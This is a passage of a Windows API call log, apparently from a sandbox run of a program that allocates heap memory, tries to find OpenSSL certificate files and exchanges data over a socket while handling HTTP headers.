(HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351e8 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fc8 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35170 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f88 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e00 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d351a0 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d360c8 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351a0 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47e00 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34dc8 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35170 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351e8 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f78 | out: hHeap=0x2a0000) returned 1 [0118.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0118.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fc0 | out: hHeap=0x2a0000) returned 1 [0118.110] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f68 | out: hHeap=0x2a0000) returned 1 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f68 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9) returned 0x2d34fc0 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d47e00 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10e) returned 0x2d29660 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36088 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f78 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351e8 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35170 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36008 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47de0 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d29440 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34dc8 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fc8 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47df0 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d35f88 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351a0 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35128 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361e8 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47dc0 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d47dd0 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35140 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36208 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47db0 [0118.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e20 [0118.110] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f78, Size=0x20) returned 0x2d295a8 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34f78 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350e0 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361a8 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e30 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d361c8 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d350f8 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36168 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e40 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x43) returned 0x2d29778 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35098 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350b0 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36188 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e50 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x46) returned 0x2d48198 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d350c8 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35200 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36128 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d47e60 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x72) returned 0x2d481e8 [0118.111] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d295a8, Size=0x40) returned 0x2d48268 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35218 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d35248 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xf6) returned 0x2d482b0 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35260 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35278 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d360e8 [0118.111] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e70 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x77) returned 0x2d483b0 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x522) returned 0x2d48430 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9) returned 0x2d35290 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d47e80 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100) returned 0x2d48960 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d352a8 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10c) returned 0x2d48a68 [0118.112] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352a8 | out: hHeap=0x2a0000) returned 1 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d48b80 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d48bf0 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352a8 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d47e90 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36228 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36248 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352c0 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d352d8 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d47ea0 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352f0 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35308 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36268 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36288 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35320 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35338 [0118.112] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35350 [0118.112] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d353c8, Size=0x20) returned 0x2d295a8 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d352c0, Size=0x20) returned 0x2d49520 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d352c0, Size=0x20) returned 0x2d49548 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35470, Size=0x20) returned 0x2d295a8 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35320, Size=0x20) returned 0x2d49578 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35320, Size=0x20) returned 0x2d496d8 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d355d8, Size=0x20) returned 0x2d496d8 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d496d8, Size=0x40) returned 0x2d49988 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d358a8, Size=0x20) returned 0x2d4a1f0 [0118.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357b8 | out: hHeap=0x2a0000) returned 1 [0118.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35680 | out: hHeap=0x2a0000) returned 1 [0118.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48ce8 | out: hHeap=0x2a0000) returned 1 [0118.113] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48cc8 | out: hHeap=0x2a0000) returned 1 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35680, Size=0x20) returned 0x2d4a218 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35680, Size=0x20) returned 0x2d4a268 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35908, Size=0x20) returned 0x2d4a1f0 [0118.113] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35800, Size=0x20) returned 0x2d4a268 [0118.114] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35800, Size=0x20) returned 0x2d4a290 [0118.114] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35a58, Size=0x20) returned 0x2d4a290 [0118.114] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35b30, Size=0x10) returned 0x2d35c50 [0118.114] GetCurrentThreadId () returned 0x9fc [0118.114] GetCurrentThreadId () returned 0x9fc [0118.114] GetCurrentThreadId () returned 0x9fc [0118.114] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4b9f0, Size=0x20) returned 0x2d4a2b8 [0118.114] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f41c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.115] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/157753a5.0", lpFindFileData=0x18f55c | out: lpFindFileData=0x18f55c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11089ae1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d4da70, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d4efe0, ftLastWriteTime.dwHighDateTime=0x18f601, nFileSizeHigh=0x18f87c, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0x2a0, cFileName="tö\x18", cAlternateFileName="")) returned 0xffffffff [0118.115] GetLastError () returned 0x3 [0118.115] SetLastError (dwErrCode=0x3) [0118.115] GetLastError () returned 0x3 [0118.115] SetLastError (dwErrCode=0x3) [0118.115] GetLastError () returned 0x3 [0118.115] SetLastError (dwErrCode=0x3) [0118.115] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/157753a5.0", nBufferLength=0x104, lpBuffer=0x18f69c, lpFilePart=0x18f4f4 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\157753a5.0", lpFilePart=0x18f4f4*="157753a5.0") returned 0x21 [0118.115] GetLastError () returned 0x3 [0118.115] SetLastError (dwErrCode=0x3) [0118.115] GetLastError () returned 0x3 [0118.115] SetLastError (dwErrCode=0x3) [0118.115] GetLastError () returned 0x3 [0118.115] SetLastError (dwErrCode=0x3) [0118.115] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4da78 | out: hHeap=0x2a0000) returned 1 [0118.116] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bc90 | out: hHeap=0x2a0000) returned 1 [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentThreadId () returned 0x9fc [0118.116] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f414 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.116] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/d6325660.0", lpFindFileData=0x18f554 | out: lpFindFileData=0x18f554*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d4da70, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d4efe0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d4efe0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0x2a0, cFileName="lö\x18", cAlternateFileName="")) returned 0xffffffff [0118.116] GetLastError () returned 0x3 [0118.116] SetLastError (dwErrCode=0x3) [0118.116] GetLastError () returned 0x3 [0118.116] SetLastError (dwErrCode=0x3) [0118.117] GetLastError () returned 0x3 [0118.117] SetLastError (dwErrCode=0x3) [0118.117] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/d6325660.0", nBufferLength=0x104, lpBuffer=0x18f694, lpFilePart=0x18f4ec | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\d6325660.0", lpFilePart=0x18f4ec*="d6325660.0") returned 0x21 [0118.117] GetLastError () returned 0x3 [0118.117] SetLastError (dwErrCode=0x3) [0118.117] GetLastError () returned 0x3 [0118.117] SetLastError (dwErrCode=0x3) [0118.117] GetLastError () returned 0x3 [0118.117] SetLastError (dwErrCode=0x3) [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4da78 | out: hHeap=0x2a0000) returned 1 [0118.117] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bc90 | out: hHeap=0x2a0000) returned 1 [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.117] GetCurrentThreadId () returned 0x9fc [0118.118] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f414 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0118.118] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/1400f578.0", lpFindFileData=0x18f554 | out: lpFindFileData=0x18f554*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d4da70, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d4efe0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d4efe0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0x2a0, cFileName="lö\x18", cAlternateFileName="")) returned 0xffffffff [0118.118] GetLastError () returned 0x3 [0118.118] SetLastError (dwErrCode=0x3) [0118.118] GetLastError () returned 0x3 [0118.118] SetLastError (dwErrCode=0x3) [0118.118] GetLastError () returned 0x3 [0118.118] SetLastError (dwErrCode=0x3) [0118.118] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/1400f578.0", nBufferLength=0x104, lpBuffer=0x18f694, lpFilePart=0x18f4ec | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\1400f578.0", lpFilePart=0x18f4ec*="1400f578.0") returned 0x21 [0118.118] GetLastError () returned 0x3 [0118.118] SetLastError (dwErrCode=0x3) [0118.118] GetLastError () returned 0x3 [0118.118] SetLastError (dwErrCode=0x3) [0118.118] GetLastError () returned 0x3 [0118.118] SetLastError (dwErrCode=0x3) [0118.118] GetCurrentThreadId () returned 0x9fc [0118.118] GetCurrentThreadId () returned 0x9fc [0118.118] GetCurrentThreadId () returned 0x9fc [0118.119] GetCurrentThreadId () returned 0x9fc [0118.119] GetCurrentThreadId () returned 0x9fc [0118.119] GetCurrentThreadId () returned 0x9fc [0118.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4da78 | out: hHeap=0x2a0000) returned 1 [0118.119] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4bc90 | out: hHeap=0x2a0000) returned 1 [0118.119] WSASetLastError (iError=0) [0118.119] recv (in: s=0x12c, buf=0x2d3b9d3, len=5, flags=0 | out: buf=0x2d3b9d3*) returned 5 [0118.119] SetLastError (dwErrCode=0x0) [0118.119] WSASetLastError (iError=0) [0118.119] recv (in: s=0x12c, buf=0x2d3b9d8, len=333, flags=0 | out: buf=0x2d3b9d8*) returned 333 [0118.120] WSASetLastError (iError=0) [0118.120] recv (in: s=0x12c, buf=0x2d3b9d3, len=5, flags=0 | out: buf=0x2d3b9d3*) returned 5 [0118.120] SetLastError (dwErrCode=0x0) [0118.120] WSASetLastError (iError=0) [0118.120] recv (in: s=0x12c, buf=0x2d3b9d8, len=4, flags=0 | out: buf=0x2d3b9d8*) returned 4 [0118.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f620 | out: lpSystemTimeAsFileTime=0x18f620*(dwLowDateTime=0x974e33e0, dwHighDateTime=0x1d60051)) [0118.120] GetCurrentThreadId () returned 0x9fc [0118.120] GetCurrentThreadId () returned 0x9fc [0118.120] GetCurrentThreadId () returned 0x9fc [0118.120] GetCurrentThreadId () returned 0x9fc [0118.120] GetCurrentThreadId () returned 0x9fc [0118.120] GetCurrentThreadId () returned 0x9fc [0118.125] WSASetLastError (iError=0) [0118.125] send (s=0x12c, buf=0x2d453e0*, len=126, flags=0) returned 126 [0118.125] SetLastError (dwErrCode=0x0) [0118.125] WSASetLastError (iError=0) [0118.125] recv (in: s=0x12c, buf=0x2d3b9d3, len=5, flags=0 | out: buf=0x2d3b9d3*) returned 5 [0118.158] SetLastError (dwErrCode=0x0) [0118.158] WSASetLastError (iError=0) [0118.158] recv (in: s=0x12c, buf=0x2d3b9d8, len=218, flags=0 | out: buf=0x2d3b9d8*) returned 218 [0118.158] WSASetLastError (iError=0) [0118.158] recv (in: s=0x12c, buf=0x2d3b9d3, len=5, flags=0 | out: buf=0x2d3b9d3*) returned 5 [0118.158] SetLastError (dwErrCode=0x0) [0118.158] WSASetLastError (iError=0) [0118.158] recv (in: s=0x12c, buf=0x2d3b9d8, len=1, flags=0 | out: buf=0x2d3b9d8*) returned 1 [0118.158] WSASetLastError (iError=0) [0118.158] recv (in: s=0x12c, buf=0x2d3b9d3, len=5, flags=0 | out: buf=0x2d3b9d3*) returned 5 [0118.158] SetLastError (dwErrCode=0x0) [0118.158] WSASetLastError (iError=0) [0118.158] recv (in: s=0x12c, buf=0x2d3b9d8, len=40, flags=0 | out: buf=0x2d3b9d8*) returned 40 [0118.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0118.159] GetCurrentThreadId () returned 0x9fc [0118.159] GetCurrentThreadId () returned 0x9fc [0118.159] GetCurrentThreadId () returned 0x9fc [0118.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0118.159] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0118.159] GetCurrentThreadId () returned 0x9fc [0118.159] GetCurrentThreadId () returned 0x9fc [0118.159] GetCurrentThreadId () returned 0x9fc [0118.160] SetLastError (dwErrCode=0x0) [0118.160] SetLastError (dwErrCode=0x0) [0118.160] WSASetLastError (iError=0) [0118.160] send (s=0x12c, buf=0x2d3ff23*, len=296, flags=0) returned 296 [0118.160] GetModuleHandleW (lpModuleName="KERNEL32") returned 0x76d30000 [0118.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetTickCount64", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0118.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetTickCount64", cchWideChar=14, lpMultiByteStr=0x7f2f6c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetTickCount64", lpUsedDefaultChar=0x0) returned 14 [0118.160] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount64") returned 0x76d5eee0 [0118.161] GetTickCount64 () returned 0x1150455 [0118.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0118.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x7fc16c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0118.161] GetProcAddress (hModule=0x77230000, lpProcName="select") returned 0x77236989 [0118.161] select (in: nfds=0, readfds=0x18f9f4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f9f4, writefds=0x0, exceptfds=0x0) returned 1 [0118.206] SetLastError (dwErrCode=0x0) [0118.206] SetLastError (dwErrCode=0x0) [0118.206] WSASetLastError (iError=0) [0118.206] recv (in: s=0x12c, buf=0x2d3b9d3, len=5, flags=0 | out: buf=0x2d3b9d3*) returned 5 [0118.206] SetLastError (dwErrCode=0x0) [0118.206] WSASetLastError (iError=0) [0118.206] recv (in: s=0x12c, buf=0x2d3b9d8, len=330, flags=0 | out: buf=0x2d3b9d8*) returned 330 [0118.206] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1 [0118.206] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2 [0118.206] GetTickCount64 () returned 0x1150484 [0118.207] GetTickCount64 () returned 0x1150484 [0118.207] GetTickCount64 () returned 0x1150484 [0118.207] GetTickCount64 () returned 0x1150484 [0118.207] GetTickCount64 () returned 0x1150484 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Cache-control", cchCount2=13) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Cache-control", cchCount2=13) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Cache-control", cchCount2=13) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Connection", cchCount2=10) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Connection", cchCount2=10) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Connection", cchCount2=10) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Connection", cchCount2=10) returned 3 [0118.207] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Version", cchCount2=15) 